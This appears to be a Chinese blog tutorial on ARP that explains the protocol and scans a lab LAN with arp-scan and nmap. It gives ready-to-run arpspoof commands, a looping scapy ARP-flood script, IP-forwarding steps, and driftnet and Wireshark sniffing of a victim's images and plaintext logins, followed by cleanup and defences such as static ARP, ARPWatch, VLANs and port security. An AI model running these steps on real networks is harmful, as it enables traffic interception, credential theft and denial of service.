0x01 什么是ARP

地址解析协议——ARP;是根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到局域网络上的所有主机,并接收返回消息,以此确定目标的物理地址;收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源。

0x02 交换机数据转发原理

交换机收到数据帧的时候,先解封装数据链路层,查看这一层的源MAC地址,并且关联自己接收数据的这个接口,把关联MAC地址和接口的信息更新到MAC地址表里面查看这一层的目标MAC地址,然后查询MAC地址表,根据目标MAC对应的接口将这个数据转发出去

如果这个时候,MAC地址表是空的/丢弃?广播-将这个数据帧进行复制,然后向各个接口转发出去

0x03 探测局域网中存活主机

3.1 执行扫描
3.2.1 arp-san扫描
主网络接口的信息扫描本地
arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:fa:ac:f0, IPv4: 192.168.47.203
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.47.40 2c:fe:4f:a8:52:a8 (Unknown)
192.168.47.183 e0:d0:45:66:a7:b5 Intel Corporate
192.168.47.241 00:0c:29:97:a9:7c VMware, Inc. 6 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.229 seconds (114.85 hosts/sec). 3 responded 扫描子网指定要使用的接口和自定义源MAC地址
arp-scan -I eth0 --srcaddr=mac地址 192.168.47.0/24
Interface: eth0, type: EN10MB, MAC: 00:0c:29:fa:ac:f0, IPv4: 192.168.47.203
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.47.40 2c:fe:4f:a8:52:a8 (Unknown)
192.168.47.183 mac Intel Corporate
192.168.47.241 00:0c:29:97:a9:7c VMware, Inc. 7 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.234 seconds (114.59 hosts/sec). 3 responded
3.2.2 namp扫描
nmap -sU --script nbstat.nse -p137 192.168.1.0/24 -T4
-sU: 表示执行UDP扫描。
--script nbstat.nse: 指定运行名为 nbstat.nse 的Lua脚本。这个脚本通常用于获取目标主机的NetBIOS信息。
-p137: 扫描端口137。这个端口通常用于NetBIOS名称服务。
192.168.1.0/24: 指定要扫描的目标IP地址范围,这里是192.168.1.0网段下的所有主机。
-T4: 设置扫描技术为“狂野”模式,这会让扫描速度更快但可能会触发更多的IDS/IPS报警。 特别针对ARP协议来探测局域网内哪些主机是活跃的使用 -PR 参数发送ARP请求:
nmap -sn -PR 192.168.1.0/24
-PR: 使用ARP ping(仅限于本地网络)。
ARP请求只能在同一物理网络(广播域)中使用,因此它不能穿越路由器。如果你需要跨网段探测主机,你需要使用其他方法

扫描结果

nmap -sU --script nbstat.nse -p137 192.168..0/24 -T4

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-04 04:06 EDT
Nmap scan report for 192.168.47.40
Host is up (0.0042s latency). PORT STATE SERVICE
137/udp closed netbios-ns
MAC Address: 2C:FE:4F:A8:52:A8 (Unknown) Nmap scan report for 192.168.47.183
Host is up (0.00053s latency). PORT STATE SERVICE
137/udp open|filtered netbios-ns
MAC Address: E0:D0:45:66:A7:B5 (Intel Corporate) Nmap scan report for 192.168.47.241
Host is up (0.0014s latency). PORT STATE SERVICE
137/udp open netbios-ns
MAC Address: 00:0C:29:97:A9:7C (VMware) Host script results:
| nbstat: NetBIOS name: WIN-SJDPHJOO12L, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:97:a9:7c (VMware)
| Names:
| WIN-SJDPHJOO12L<00> Flags: <unique><active>
| WIN-SJDPHJOO12L<20> Flags: <unique><active>
| WORKGROUP<00> Flags: <group><active>
| WORKGROUP<1e> Flags: <group><active>
| WORKGROUP<1d> Flags: <unique><active>
|_ \x01\x02__MSBROWSE__\x02<01> Flags: <group><active> Nmap scan report for 192.168.47.203
Host is up (0.000064s latency). PORT STATE SERVICE
137/udp closed netbios-ns Nmap done: 256 IP addresses (4 hosts up) scanned in 7.01 seconds

3.2.3 ettercap探测
ettercap -G 启动图形化界面

3.2得到存活主机
192.168.47.183
192.168.47.241
192.168.47.203

0x04:常见ARP攻击类型

4.1arp泛洪攻击

搭建实验网络

  1. 在攻击机和目标机之间建立网络连接,确保它们在同一个子网中。
  2. 确保交换机或虚拟交换机工作正常。

获取网络信息

  1. 在攻击机上使用ifconfigip a命令查看自己的IP和MAC地址。
  2. 使用arp -a命令查看当前ARP缓存中的内容。

使用ARP泛洪工具

1. 使用arpspoof工具:

安装工具(如果未安装):

sudo apt-get install dsniff

执行ARP泛洪命令:

sudo arpspoof -i eth0 -t <目标IP> <网关IP>

-i eth0:指定网卡接口。

-t <目标IP>:目标主机的IP地址。

<网关IP>:网关的IP地址。

此命令将向目标主机发送大量的伪造ARP应答包,导致ARP缓存中毒。

2. 使用scapy脚本:

创建一个简单的ARP泛洪脚本:

pythonCopy codefrom scapy.all import *

def flood_arp(target_ip, gateway_ip):
packet = ARP(op=2, pdst=target_ip, psrc=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff")
while True:
send(packet, verbose=False) target_ip = "目标IP地址"
gateway_ip = "网关IP地址" flood_arp(target_ip, gateway_ip)

执行脚本,将目标IP和网关IP替换为实验中的实际地址。

4.2 ARP欺骗(中间人攻击)

地址解析协议是建立在网络中各个主机互相信任的基础上的,局域网络上的主机可以自主发送ARP应答消息,其他主机收到应答报文时不会检测该报文的真实性就会将其记入本机ARP缓存;由此攻击者就可以向某一主机发送伪ARP应答报文,使其发送的信息无法到达预期的主机或到达错误的主机,这就构成了一个ARP欺骗。

4.2.1 主机欺骗

欺骗主机可以获取主机的流量,并且对其监控

攻击:kali(aprapoof)

靶机:win7

先看一下靶机和网关的mac地址

测试网络连通性

接下来利用arpspoof工具,对主机A进行ARP欺骗攻击,从而靶机会造成断网现象。

arpspoof -i eth1 -t 192.168.196.141 192.168.196.2

靶机上查看ARP表,网关对应的MAC地址变成kali的MAC地址

ARP欺骗的主要目的是让目标主机靶机的流量先经过攻击主机kali的网卡,再从网关出去,而网关也会把原本流入目标靶机的流量经过攻击主机kali。在进行ARP欺骗之前,我们要先开启攻击主机kali的IP转发功能,如果不开启的话,我们攻击之后先会使目标靶机断网,而不是欺骗。通过以下命令开启并开始进行ARP欺骗攻击。

启用端口转发

echo 1 > /proc/sys/net/ipv4/ip_forward

此时在攻击主机kali上就可以利用图片嗅探工具driftnet来捕获目标靶机在上网过程中查看的图片。因为靶机在上网过程中的流量都需要先经过攻击主机kali。

eth0监听:

driftnet -i eth0

读取指定pcap数据包:

driftnet -f /home/tmp/tmp.pcapng -a -d /tmp/

还原靶机正常的网关

arp -d
清楚缓存重新自动获取mac
4.2.2 网关欺骗

欺骗网关可以获得其他主机的流量

启动端口转发

临时端口转发

sysctl -w net.ipv4.ip_forward=1
或者
echo 1 > /proc/sys/net/ipv4/ip_forward

永久端口转发

编辑/etc/sysctl.conf文件:
sudo nano /etc/sysctl.conf 找到并修改或添加以下行:
net.ipv4.ip_forward = 1
保存并退出编辑器,然后应用更改:
sudo sysctl -p

验证IP转发是否启用

验证设置是否生效:

sysctl net.ipv4.ip_forward

输出为 net.ipv4.ip_forward = 1 表示IP转发已启用。

# 第一条命令欺骗网关
arpspoof -i eth0 -t 192.168.1.1 192.168.1.10 # 第二条命令欺骗受害者
arpspoof -i eth0 -t 192.168.1.10 192.168.1.1

在攻击者机器上使用Wireshark捕获网络流量,以验证受害者和网关之间的通信是否被成功拦截。

打开Wireshark,选择攻击者的网络接口(如eth0)。

设置过滤器,ip.addr == ip

开始捕获,并检查是否可以看到受害者和网关之间的通信。

分析敏感数据,如明文HTTP流量或未加密的登录信息。

4.3 拒绝服务攻击

拒绝服务攻击是一种攻击类型,其中一个或多个受害者无法访问网络。借助ARP欺骗,单个目标受害者的MAC地址被链接到多个IP地址。因此,所有流量都会转向目标受害者的MAC地址,导致目标受害者的网络因流量过载而瘫痪。(DOS)

4.4 ARP重放攻击:

攻击者捕获网络中的ARP响应包,并将其重新发送出去,以此来欺骗其他计算机,使其认为攻击者的MAC地址是合法的,从而将数据发送到错误的MAC地址。

实验结束后,通过停止ARP欺骗和刷新ARP缓存来恢复网络状态。

0x05 恢复网络状态

停止 arpspoof 进程:

pkill arpspoof

刷新攻击者和受害者机器上的ARP缓存:

  • 在Linux上:

    ip -s -s neigh flush all
  • 在Windows上:

    arp -d *

0x06 安全防护措施

6.1 静态ARP表

在关键设备上设置静态ARP表,防止ARP缓存被篡改。

6.2 ARP检测工具

使用ARP防护软件或启用交换机的ARP检测功能来监控异常ARP行为。

6.3 加密通信

使用HTTPS、VPN等方式加密通信,防止流量被篡改或窃听。

6.4 定期监控和分析网络流量

使用网络监控工具(如Wireshark、Zeek、Snort)定期检查网络流量,检测异常的ARP请求和响应。

设置ARP流量的监控报警,提示不一致的IP-MAC绑定情况。

分析网络流量图表,检测可疑的重复ARP广播。

6.5 安装ARP防护软件

使用ARP防护工具,如ARPWatch、XArp,主动监控网络中的ARP活动,检测和报警ARP欺骗行为。

操作:安装后可设置报警规则和防护模式,根据需求自动阻止可疑ARP流量。

6.6 隔离网络(VLAN)

通过划分虚拟局域网(VLAN),将网络设备隔离在不同的广播域,限制ARP欺骗影响的范围。

  • 优点:减少ARP欺骗攻击的传播路径,提高整体网络安全性。
  • 实施
    • 将用户、服务器和管理设备分配到不同的VLAN。
    • 配合ACL(访问控制列表)进一步限制通信。
6.7 使用IPv6

IPv6协议相比IPv4有更强的内置安全机制,如Neighbor Discovery Protocol(NDP)代替ARP,减少ARP欺骗攻击的可能性。

  • 限制:需要所有设备支持IPv6,可能涉及复杂的网络升级。
6.8 端口安全与MAC地址绑定

在交换机上配置端口安全性(Port Security),绑定特定端口的MAC地址,拒绝非授权设备的接入。

  • 配置方法:在交换机上设置端口的静态MAC地址绑定或使用动态学习功能限制接入。

常见APR攻击及其防护的更多相关文章

  1. 【CISP笔记】安全攻击与防护

    公开信息收集-搜索引擎 快速定位Google 搜索“5sf67.jsp”可以找到存在此脚本的Web网站Google 搜索“teweb/default.htm”就可找到开放着远程Web连接的服务器信息挖 ...

  2. XSS/CSRF跨站攻击和防护方案

    Xss(Cross Site Scripting 跨站脚本攻击)/CSRF(Cross-site request forgery 跨站请求伪造),它与著名的SQL注入攻击类似,都是利用了Web页面的编 ...

  3. WEB前端常见受攻击方式及解决办法

    一个网站建立以后,如果不注意安全方面的问题,很容易被人攻击,下面就讨论一下几种漏洞情况和防止攻击的办法. 一.SQL注入 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的 ...

  4. 常见DDoS攻击

    导航: 这里将一个案例事项按照流程进行了整合,这样观察起来比较清晰.部分资料来自于Cloudflare 1.DDoS介绍 2.常用DDoS攻击 3.DDoS防护方式以及产品 4.Cloudflare ...

  5. WEB网站常见受攻击方式及解决办法

    一个网站建立以后,如果不注意安全方面的问题,很容易被人攻击,下面就讨论一下几种漏洞情况和防止攻击的办法. 一.跨站脚本攻击(XSS) 跨站脚本攻击(XSS,Cross-site scripting)是 ...

  6. 简单总结几种常见web攻击手段及其防御方式

    web攻击手段有几种,本文简单介绍几种常见的攻击手段及其防御方式 XSS(跨站脚本攻击) CSRF(跨站请求伪造) SQL注入 DDOS XSS 概念 全称是跨站脚本攻击(Cross Site Scr ...

  7. 简单地总结几种常见web攻击手段及其防御方式

    web攻击手段有几种,本文简单介绍几种常见的攻击手段及其防御方式 XSS(跨站脚本攻击) CSRF(跨站请求伪造) SQL注入 DDOS XSS 概念 全称是跨站脚本攻击(Cross Site Scr ...

  8. 【转】WEB网站常见受攻击方式及解决办法

    一个网站建立以后,如果不注意安全方面的问题,很容易被人攻击,下面就讨论一下几种漏洞情况和防止攻击的办法. 一.跨站脚本攻击(XSS) 跨站脚本攻击(XSS,Cross-site scripting)是 ...

  9. 常见web攻击总结

    搞Web开发离不开安全这个话题,确保网站或者网页应用的安全性,是每个开发人员都应该了解的事.本篇主要简单介绍在Web领域几种常见的攻击手段及Java Web中的预防方式. XSS SQL注入 DDOS ...

  10. 学习随笔:Django 补充及常见Web攻击 和 ueditor

    判断用户是否登录 <!-- xxx.html --> {% if request.user.is_authenticated %} django中的request对象详解 填错表格返回上次 ...

随机推荐

  1. MindSpore计算框架如何发布训练好的模型到官方模型仓库MindSpore_Hub上

    相关官方资料: https://www.mindspore.cn/tutorial/training/zh-CN/r1.2/use/publish_model.html 参考地址: https://g ...

  2. 在Ubuntu18.04系统中源码安装 gcc7.3.0

    本文给出源码安装gcc7.3.0的方法. 依赖的环境安装到自建文件夹下, 给出下面操作中环境的安装文件夹: /home/devilmaycry/anaconda3/mindspore_envs这个路径 ...

  3. Tensorflow1.14中placeholder.shape和tf.shape(placeholder)的区别

    最近在看TensorFlow的代码,还是1.14版本的TensorFlow的,代码难度确实比pytorch的难上不是多少倍,pytorch的代码看一遍基本能看懂个差不多,TensorFlow的代码看一 ...

  4. JVM的本地方法栈-通俗理解

    1.本地方法栈(Native Method Stacks)与虚拟机栈所发挥的作用是非常相似的, 2.其区别不过是虚拟机栈为虚拟机执行Java方法(也就是字节码)服务,而本地方法栈则是为虚拟机使用到的N ...

  5. 9组-Alpha冲刺-5/6

    一.基本情况 队名:不行就摆了吧 组长博客: https://www.cnblogs.com/Microsoft-hc/p/15546711.html 小组人数: 8 二.冲刺概况汇报 谢小龙 过去两 ...

  6. C# ?. 判斷Null值

    有一句代碼: @Html.DisplayFor(modelItem => item.SellDate, "RegularDate") RegularDate.cshtml 內 ...

  7. 你要了解的2种AI思维链

    我们使用的AI助手,一般是经过了预训练和微调这2个步骤,尽管训练出的模型能回答许多通用类问题,但是在遇到复杂问题时还是束手无策. 直到有人提出了思维链方式,才解决了模型在面对复杂问题时的推理能力. 1 ...

  8. 9个Linux 查看系统硬件信息命令(实例详解)

    在Linux下,我们精要遇到需要查看系统的硬件信息, 这里我罗列了查看系统硬件信息的实用命令,并做了分类,实例解说. 执行环境:ubuntu 16.04 1. cpu lscpu命令,查看的是cpu的 ...

  9. keepalived编译安装-麒麟v10Arm64

    环境信息 操作系统: Kylin Linux Advanced Server V10 (Lance) 架构:Arm keepalived版本:2.3.1 编译 wget https://www.kee ...

  10. dfs剪枝与优化

    搜索树 剪枝方法 1.优化搜索顺序 2.排除等效冗余 3.可行性 4.最优性(估价) 5.记忆化(树形不会重复计算时不需要) A.针对每个维度边界信息缩放.推倒 B.计算未来最少花费 C.结合各维度的 ...